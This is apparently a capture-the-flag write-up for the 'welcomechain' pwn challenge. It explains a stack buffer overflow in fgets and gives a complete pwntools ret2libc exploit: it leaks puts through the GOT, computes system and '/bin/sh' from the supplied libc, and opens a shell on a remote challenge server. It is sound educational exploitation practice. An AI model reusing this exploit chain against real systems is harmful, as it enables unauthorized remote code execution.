1. Description
peilin@PWN:~/contrailctf/welcomechain$ file welcomechain
welcomechain: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=f435091d59e479e263cacd14fd27651affe9c8d5, not stripped
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
You can still play this challenge here (Jan. 17th, 2020).
libc.so.6 is given.
In welcome() we have a pretty straightforward buffer overflow vulnerability:
0x000000000040078a <+74>: lea rax,[rbp-0x20]
0x000000000040078e <+78>: mov esi,0x100
0x0000000000400793 <+83>: mov rdi,rax
0x0000000000400796 <+86>: call 0x4005d0 <fgets@plt>
fgets() reads 0x100 bytes into a 0x20 bytes long buffer, and there are no stack canaries.
Since PIE is off, its pretty easy to leak the GOT by reusing puts().
[DEBUG] PLT 0x40058c putchar
[DEBUG] PLT 0x4005a0 puts
[DEBUG] PLT 0x4005b0 setbuf
[DEBUG] PLT 0x4005c0 printf
[DEBUG] PLT 0x4005d0 fgets
[DEBUG] PLT 0x4005e0 sleep
Well we have a plenty of choices here, just choose one that is resolved before the vulnerable fgets() is called. I choose puts() itself. Well, why not? 🙂
So the plan is:
- Trigger the overflow;
- Leak the address of
puts(); - Calculate the base address of libc, as well as
system()and"/bin/sh"; - Return to
welcome()and trigger the overflow again; - Do
system("/bin/sh")
2. Solution
Just do it. I used an rdi gadget from __libc_csu_init(), and a ret gadget from welcome(). The ret gadget is necessary in order to make the stack 16 bytes aligned before entering system(), to bypass the movaps issue.
My exp:
#!/usr/bin/env python
from pwn import *
context.log_level = "DEBUG"
p = connect("114.177.250.4", 2226)
e = ELF('./welcomechain')
l = ELF('./libc.so.6')
prefix = 'A' * 40
# binary
pop_rdi_ret = 0x400853 # __libc_csu_init()
ret = 0x4007b9 # welcome()
# libc
binsh_ofs = 0x1b3e9a
def leak():
payload = prefix
payload += p64(pop_rdi_ret)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['welcome'])
p.recvuntil("Please Input : ")
p.sendline(payload)
p.recvline()
puts_addr = u64((p.recvline())[0:6] + "\x00\x00")
libc_base = puts_addr - l.symbols['puts']
return libc_base
def shell(libc_base):
binsh_addr = libc_base + binsh_ofs
system_addr = libc_base + l.symbols['system']
payload = prefix
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recvuntil("Please Input : ")
p.sendline(payload)
p.recvline()
libc_base = leak()
print("libc base addr: %s" % hex(libc_base))
shell(libc_base)
p.interactive()